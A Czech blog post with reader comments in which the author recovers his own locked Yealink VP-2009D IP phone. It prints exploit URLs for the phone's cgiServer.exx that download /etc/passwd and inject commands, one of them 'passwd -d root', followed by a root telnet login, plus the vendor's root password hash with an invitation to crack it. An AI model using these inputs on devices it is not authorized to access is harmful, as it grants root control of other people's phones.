Portál AbcLinuxu, 5. června 2024 20:52

Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul

2.6.2017 21:46 | Přečteno: 1161× | Linux

Před pár lety jsem na „íbeji“ za levný peníz trhnul jeden Yealink VP-2009D telefon. Vzhledem k tomu, že se snažím protřídit přebytečné věci, zapojil jsem telefon do testovací sítě a koukal, zda-li vše funguje. Nefungovalo, protože sice to má pěkný hardware, ale firmware je naprosto tristní. Tak jsem v telefonu downgradoval firmware z 22.21.0.108 na 22.21.0.99 a najednou to začalo volat (tedy: alespoň echotest co mám na svém asterisku pro tyto účely). Jenže pak mě napadla naprosto idiotská myšlenka: změnit heslo z defaulního 'admin' na něco méně uhodnutelného.

To jsem však neměl dělat! Poté, co jsem si vygeroval heslo s cca 35 znaky a toto heslo zkopíroval do webového rozhraní, se najednou nemoho připojit. Zkouším nové heslo, zkouším admin - nic. Zkouším z hesla postupně uhlodávat jednotlivé znaky (zezadu) - po 1/4 hodině skončím na 10 znacích a taky nic. Přihlásim se sice jako uživatel 'user', ale to mi na moc věcí není. Na internetu najdu, že se u telefonů této značky dá heslo zresetovat dlouhým podržením tlačítka 'ok'. Jenže ani to nefunguje - buď mám blbou verzi firmware, nebo to s tímto konkrétním modelem nefunguje vůbec. A upgradovat firmware normální cestou nelze, protože k tomu potřebuji administrátorské heslo. Uááá!

Ovšem pak jsem si vzpomněl, že se telefony od Yealinku daly hacknout. Sám jsem to nikdy nezkoušel, protože u jiných kousků jsem měl příliš nový firmware, kde už díry byly zalepeny (zřejmě asi zdaleka ne všechny, ale nikdy jsem neměl dost trpělivosti hledat, jak na to. Ovšem tento telefon byla dosti stará verze s pouhými 128MB RAM, takže na ni nejde dát firmware V40 a vyšší. Je tedy dosti šance, že díry jsou ještě otevřené. Přinejmenším má telefon otevřený telnet:

$ telnet yealink
Trying 192.168.*.*...
Connected to yealink.doma.
Escape character is '^]'.

Welcome to Linux 2.6.10 on VP-2008
login:

To sice vypadá zajimavě (v pozdějších verzích firmware je telnet už zakázán úplně, anebo se ale musí určitým hackem povolit), ale pokud člověk nezná rootovské heslo, tak je i tak dosti namydlen. Ovšem děr je v telefonu více než dost (viz: 1, 2, 3), takže jednak je možné velmi jednoduše stahovat z telefonu rozličné soubory:

http://{IP}/cgi-bin/cgiServer.exx?download=/etc/passwd

Je ovšem i velmi jednoduše možné spouštět příkazy, viz např.:

 http://{IP}/cgi-bin/cgiServer.exx?command=system%28%22dmesg%20>%20/tmp/dmesg%22%29
# některé prohlížeče vzládnou i přímo:
# http://{IP}/cgi-bin/cgiServer.exx?command=system("dmesg > /tmp/dmesg")

Takže není problém zrušit heslo u roota:

http://{IP}/cgi-bin/cgiServer.exx?command=system("passwd -d root")

Pak už se bez problému připojíme na telnet:

$ telnet yealink
Trying 192.168.*.*...
Connected to yealink.doma.
Escape character is '^]'.

Welcome to Linux 2.6.10 on VP-2008
login: root
# 

V tuto chvíli pak trvá jen krátce, než zjistíme, že hesla pro webové rozhraní se nacházejí v klasickém htpasswd souboru v /rundata/data/htpasswd. Takže není nic jednoduššího než si bokem vytvořit jiný htpasswd soubor klasickým způsobem (bacha, umí to myslím jen crypt a asi MD5!) a heslo z něj zkopírovat na VP2009D. Vi tam samozřejmě nechybí, takže alespoň maličký "komfort". Nicméně teď kecám, protože existuje ještě daleko jednodušší cesta a sice zkopírovat "tovární" verzi tohoto souboru, která se nachází v /phone/factory/data/htpasswd, takže by mělo fungovat přinejmenším něco jako:

cat /phone/factory/data/htpasswd > /rundata/data/htpasswd

Každopádně telefon se mi podařilo znovu rozběhnout a následně zjistit, že heslo pro webové rozhraní nesmí být delší než 16 znaků. Lahůdka! Vedlejším efektem je, že teď mám přístup k rootovi přes telnet. Samozřejmě jsem si hned nastavil pro roota heslo jiné ;-). Nicméně trošku si zahrávám s myšlenkou (na jejíž realizaci bohužel vůbec není čas), vytvořit opravdu otevřený a opensource firmware pro hardwarové telefony. Největší potíž asi bude s ovladačemi pro jádro, a hlavně asi pro ten jeji DSP... :-(. No, ale sen je to pěkný, ne? Nebýt závislý na libovůli výrobců a OEM, na jejich chybách a svévolném ukončení podpory...

Mimochodem, původní hash z /etc/passwd pro roota je $1$RTR39Lv9$2dDkMT2ZP4nRmqFC8hKP4/. Nechcete ho někdo cracknout?

       

Hodnocení: 100 %

        špatnédobré        

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Nástroje: Začni sledovat (0) ?Zašle upozornění na váš email při vložení nového komentáře. , Tisk

Vložit další komentář

2.6.2017 23:55 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
Odpovědět | Sbalit | Link | Blokovat | Admin
s pouhými 128MB RAM, takže na ni nejde dát firmware V40 a vyšší
WTF můj mobil s Windows Mobile/mou distribucí linuxu s Xkama má jen 64MB RAM :-D.
$1$RTR39Lv9$2dDkMT2ZP4nRmqFC8hKP4/
Pole typu hashe "$1$" by mělo být MD5, na ten jsou rainbow tabulky. Druhé pole by měl být salt a třetí pole bude zakódovanej md5. Akorát nevím utilitu která z toho "2dDkMT2ZP4nRmqFC8hKP4" zase získá zpátky ten hash v hexakódu. Se saltem asi bude u rainbow tabulek menší problém, ale pokud víš jaké původní heslo jsi tam zadával tak to může být nějaká obskurní ořezávaná kombinace toho saltu a tvýho hesla (klidně to nemuselo uříznout poslední znaky, ale naopak ty první) apod.
Největší potíž asi bude s ovladačemi pro jádro, a hlavně asi pro ten jeji DSP.
Pokud použiješ stejnou verzi jádra nebo uděláš wrapper, tak bys mohl použít jejich kernel driver bloby. Na zbytek je buildroot/openwrt/ddwrt apod. Nehledě na to že pokud ty jejich kernel bloby používaj jakoukoliv funkci, která je exportovaná jako GPL, tak jsou povinni dodat zdroják (podle GPL).
Intel meltdown a = arr[x[0]&1]; karma | 帮帮我,我被锁在中国房
2.6.2017 23:57 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
P.S. víš vůbec co v tom je za SoC? Bez dokumentace toho moc nenapíšeš (maximálně userspace ale i na ten potřebuješ mít minimálně cross kompiler).
Petr Tomášek avatar 3.6.2017 00:13 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
# cat /proc/cpuinfo 
Processor       : ARM926EJ-Sid(wb) rev 5 (v5l)
BogoMIPS        : 147.45
Features        : swp half thumb fastmult edsp java 
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 16384
I assoc         : 4
I line length   : 32
I sets          : 128
D size          : 8192
D assoc         : 4
D line length   : 32
D sets          : 64

Hardware        : VP2009TD_HV01_SV01
Revision        : 0000
Serial          : 0000000000000000

Pak to tam má v sobě nějaký DSP, který o sobě tvrdí, že se jmenuje DaVinci...

multicult.fm | monokultura je zlo | welcome refugees!
3.6.2017 06:21 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
To bude tohle. Texas instruments maj jeden z nejlepších dokumentací na tom C64x DSP bys teoreticky mohl napsat ty akcelerační věci sám.
Petr Tomášek avatar 3.6.2017 09:14 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
Asi jo. Ještě jsem našel:
# cat /sys/vendor/mvista/lspinfo/summary
Board Name              : TI DaVinci - DM644x Processor (little endian)
Lsp Name                : ti-davinci_evm
LSP Revision            : 0600990.1
MVL Architecture        : arm_v5t_le
Patch Level             : 785
Což znamená buď DM6446 nebo DM6441. Asi to budu muset otevřít a podívat se, co stojí na švábu...
multicult.fm | monokultura je zlo | welcome refugees!
3.6.2017 22:26 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
Hmm to bude distribuce montavista linux. Bych dumpnul filesystém z toho se daj zjistit další věci.
Petr Tomášek avatar 4.6.2017 00:32 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
Neboj, zazálohoval jsem, co se dalo. Dokonce i zcela prázdnou mtd partišnu a partišnu zřejmě s logem pro boot :-)
multicult.fm | monokultura je zlo | welcome refugees!
Petr Tomášek avatar 3.6.2017 00:15 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
ale pokud víš jaké původní heslo jsi tam zadával tak to může být nějaká obskurní ořezávaná kombinace toho saltu a tvýho hesla

žádné heslo jsem nezadával. jedná se o rootovský heslo, který tam zadal (natvrdo???) výrobce a který považuje za obchodní tajemství...

multicult.fm | monokultura je zlo | welcome refugees!
3.6.2017 06:21 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Jak jsem si bricknul Yealink VP-2009D a pak zase hacknul
Aha tak to půjde blbě (já myslel že to je to samý kterým jsi to rozbil). Tím že se hledaj jenom kolize, tak se nejspíš nenajde původní řetězec, ale jen ten pro ten daný typ zařízení, který pasuje k danému saltu. Už i jiná verze firmware by mohla mít jinej salt a to heslo vygenerované kolizí by tam nefungovalo.

Samozřejmě pokud použili věci jako jméno zařízení, 1234, nbusr123. Tak to nejspíš najde správně (než kdyby jako heslo použili třeba string z vlastního interního md5 hashe) :-D.

Založit nové vláknoNahoru

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.